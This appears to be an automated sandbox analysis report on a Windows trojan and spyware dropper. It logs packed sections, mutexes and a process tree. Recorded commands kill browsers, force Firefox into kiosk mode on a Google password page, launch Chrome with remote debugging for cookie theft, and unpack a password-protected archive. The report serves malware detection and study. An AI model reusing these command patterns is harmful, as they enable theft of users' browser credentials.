Source: random[2].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9956649273523985
Source: random[2].exe.2.dr	Static PE information: Section: icaenpzq ZLIB complexity 0.9925425614904552
Source: dca2c3185c.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9956649273523985
Source: dca2c3185c.exe.2.dr	Static PE information: Section: icaenpzq ZLIB complexity 0.9925425614904552
Source: random[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: random[1].exe.2.dr	Static PE information: Section: ysbjspdj ZLIB complexity 0.9945706217646163
Source: random[3].exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[3].exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: bfa374134d.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: bfa374134d.exe.2.dr	Static PE information: Section: ysbjspdj ZLIB complexity 0.9945706217646163
Source: 093ffd8e79.exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 093ffd8e79.exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe2.2.dr	Static PE information: Section: ocsbkfkw ZLIB complexity 0.9944516144796701
Source: 2db16943cb.exe.2.dr	Static PE information: Section: ocsbkfkw ZLIB complexity 0.9944516144796701
Source: random[2].exe0.2.dr	Static PE information: Section: yxtglqzl ZLIB complexity 0.9950082449096644
Source: 8be8d9c4e9.exe.2.dr	Static PE information: Section: yxtglqzl ZLIB complexity 0.9950082449096644
Source: random[3].exe0.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[3].exe0.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 45ee3ccff8.exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 45ee3ccff8.exe.2.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 02a06b55a8.exe.2.dr	Static PE information: Section: ocsbkfkw ZLIB complexity 0.9944516144796701
Source: 8639af97b9.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: 8639af97b9.exe.2.dr	Static PE information: Section: ysbjspdj ZLIB complexity 0.9945706217646163
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: Section: yxtglqzl ZLIB complexity 0.9950082449096644
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: Section: yxtglqzl ZLIB complexity 0.9950082449096644

Source: bfa374134d.exe.2.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.2.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 8639af97b9.exe.2.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@111/68@54/17

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4820:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2340:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: bfa374134d.exe, 00000007.00000003.1754258883.000000000587B000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753632162.0000000005897000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2019311644.000000000587A000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2016640260.0000000005896000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: f48847f8be.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe "C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2264 -prefMapHandle 2256 -prefsLen 25358 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcfaf450-84ad-41b1-85c6-b82510a90f81} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cda26e910 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3852 -parentBuildID 20230927232528 -prefsHandle 3372 -prefMapHandle 3344 -prefsLen 26373 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {87027c66-8717-4a63-88f3-4cd38ca72be3} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cec25c410 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2436,i,5964267512921844508,5408738555003617198,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe "C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process created: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe "C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe "C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe "C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process created: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe "C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2264 -prefMapHandle 2256 -prefsLen 25358 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcfaf450-84ad-41b1-85c6-b82510a90f81} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cda26e910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3852 -parentBuildID 20230927232528 -prefsHandle 3372 -prefMapHandle 3344 -prefsLen 26373 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {87027c66-8717-4a63-88f3-4cd38ca72be3} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cec25c410 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2436,i,5964267512921844508,5408738555003617198,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
